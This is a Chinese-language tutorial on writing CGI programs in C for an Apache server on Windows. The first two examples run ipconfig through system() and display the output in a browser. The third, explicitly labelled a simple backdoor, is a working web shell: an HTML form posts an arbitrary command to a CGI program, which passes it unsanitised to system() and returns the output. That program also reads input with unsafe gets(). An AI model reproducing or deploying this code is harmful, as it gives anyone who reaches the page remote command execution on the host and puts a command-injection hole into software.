程序实例1:使用CGI实现文件定向操作
#include <stdio.h> #include <stdlib.h> #include <string.h> void main() { //设置HTML语言 printf("Content-type:text/html\n\n"); //文件定向操作 char* str = "ipconfig > 1.txt"; system(str); }
将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为system.cgi
在Apache服务器中执行system.cgi
执行方式请参考:开发基于Apache服务器上的CGI程序
执行成功后会看到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin文件中生成了一个1.txt文件
打开1.txt后可以看到1.txt中记录的是本机的ip信息
这就是文件定位操作,将ip信息保存到一个文本中
程序实例2:使用浏览器读取1.txt中的ip信息
#include <stdio.h> #include <stdlib.h> #include <string.h> void main() { //设置HTML语言 printf("Content-type:text/html\n\n"); //文件定向操作 char* str = "ipconfig > 1.txt"; system(str); //以读的方式打开1.txt FILE* fp = fopen("1.txt", "r"); //循环成立的条件是没有读到文件结尾 while(!feof(fp)) { //每次从文件中读取1个字符 char ch = fgetc(fp); if('\n' == ch) { printf("<br><br>"); } else { //打印字符 putchar(ch); } } }
将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为output.cgi
在浏览器上输入:http://localhost/cgi-bin/output.cgi
在浏览器上打印了ip信息
程序实例3:使用CGI实现一个简单的后门
使用记事本编辑下面的HTML代码
<form id="form" name="form" method="post" action="http://localhost/cgi-bin/input.cgi"> <p> <input type="text" name="BBB" id="input" value="tasklist"> </p> <p> <input type="submit" name="AAA" id="submit" value="请进"> </p> </form>
保存后将文件名修改成houmen.html,最后保存在C:\Program Files\Apache Software Foundation\Apache2.2\htdocs中
使用VS2012编译下面的代码
#include <stdio.h> #include <stdlib.h> #include <string.h> void main() { //设置HTML语言 printf("Content-type:text/html\n\n"); //打印环境变量 printf("%s<br><br>", getenv("QUERY_STRING")); char szPost[256] = {0}; //获取输入 gets(szPost); //打印输入的内容 printf("%s<br><br>", szPost); //BBB=tasklist&AAA=%C7%EB%BD%F8 char *p = szPost + 4; char*p1 = strchr(szPost, '&'); *p1 = '\0'; char cmd[256] = {0}; //字符串映射 sprintf(cmd, "%s > 1.txt", p); system(cmd); //以读的方式打开1.txt FILE* fp = fopen("1.txt", "r"); //循环成立的条件是没有读到文件结尾 while(!feof(fp)) { //每次从文件中读取1个字符 char ch = fgetc(fp); //当读取到\n时 if('\n' == ch) { //打印换行 printf("<br><br>"); } else { //打印字符 putchar(ch); } } }
编译成功后,将生成的exe文件重命名为input.cgi,并且拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中
在浏览器中输入:http://localhost/houmen.html
执行结果:
单击请进后会打印出所有的进程
在输入框中输入ipconfig后单击请进会打印出所有的ip信息